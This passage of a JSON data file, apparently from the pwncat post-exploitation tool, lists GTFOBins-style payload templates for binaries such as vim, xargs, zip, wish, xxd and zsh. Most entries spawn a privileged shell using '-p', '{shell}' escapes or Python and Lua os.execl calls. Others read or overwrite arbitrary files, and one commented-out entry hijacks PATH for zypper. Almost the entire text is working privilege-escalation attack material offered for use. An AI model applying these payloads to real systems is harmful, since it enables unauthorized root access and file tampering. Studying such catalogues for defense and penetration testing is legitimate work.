|
// ],
|
|
//-------------------------------------------------------------------
|
|
"ul": [
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"unexpand": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-t99999999","{lfile}"]
|
|
}
|
|
],
|
|
|
|
|
|
//-------------------------------------------------------------------
|
|
"uniq": [
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["{lfile}"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"unshare": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["{shell}", "-p"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"uuencode": [
|
|
{
|
|
"type": "read",
|
|
"stream" : "raw",
|
|
"payload": "{command} | {uudecode}",
|
|
"args": ["{lfile}", "/dev/stdout"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"valgrind": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-q", "{shell}"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
|
|
"vi": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
|
|
// Include an extra newline to be sure to exit vim itself.
|
|
"exit": "exit\n\n"
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"vim": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
|
|
// Include an extra newline to be sure to exit vim itself.
|
|
"exit": "exit\n\n"
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "{cat} - | {command}",
|
|
"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
"vim.basic": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
|
|
// Include an extra newline to be sure to exit vim itself.
|
|
"exit": "exit\n\n"
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "{cat} - | {command}",
|
|
"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"wish": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}",
|
|
"args": ["$TF"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"xargs": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-a", "/dev/null", "{shell}", "-p"],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["-a", "{lfile}", "-0"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"xxd": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} {lfile} | {command} -r ",
|
|
"args": []
|
|
},
|
|
// This has the same issue of not sending the right length of the file.
|
|
{
|
|
"type": "write",
|
|
"stream": "raw",
|
|
"payload": "{xxd} -l {length} | {command}",
|
|
"args": ["-r", "-", "{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
// `yum` should be added.
|
|
// https://gtfobins.github.io/gtfobins/yum/
|
|
//-------------------------------------------------------------------
|
|
"zip": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=none; {command} --help >/dev/null; TF=$({mktemp} -u); {command} $TF /etc/hosts -T -TT '{shell} #'",
|
|
"args": []
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"zsh": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "\"{shell} -p\""]
|
|
}
|
|
]
|
|
//-------------------------------------------------------------------
|
|
// zsoelim was not yet tested because it might do strange things to the data
|
|
// https://gtfobins.github.io/gtfobins/zsoelim/
|
|
//
|
|
//-------------------------------------------------------------------
|
|
// zypper requires the modification of an environment variable.
|
|
// We don't handle this well in pwncat for sudo.
|
|
// https://gtfobins.github.io/gtfobins/zypper/
|
|
// "zypper": [
|
|
// {
|
|
// "type": "shell",
|
|
// "payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp} -d); cp {shell} $TF/zypper-x; export PATH=$TF:$PATH; {command} x",
|
|
// "args": [],
|
|
// "exit": "exit\n"
|
|
// }
|
|
// ]
|
|
}
|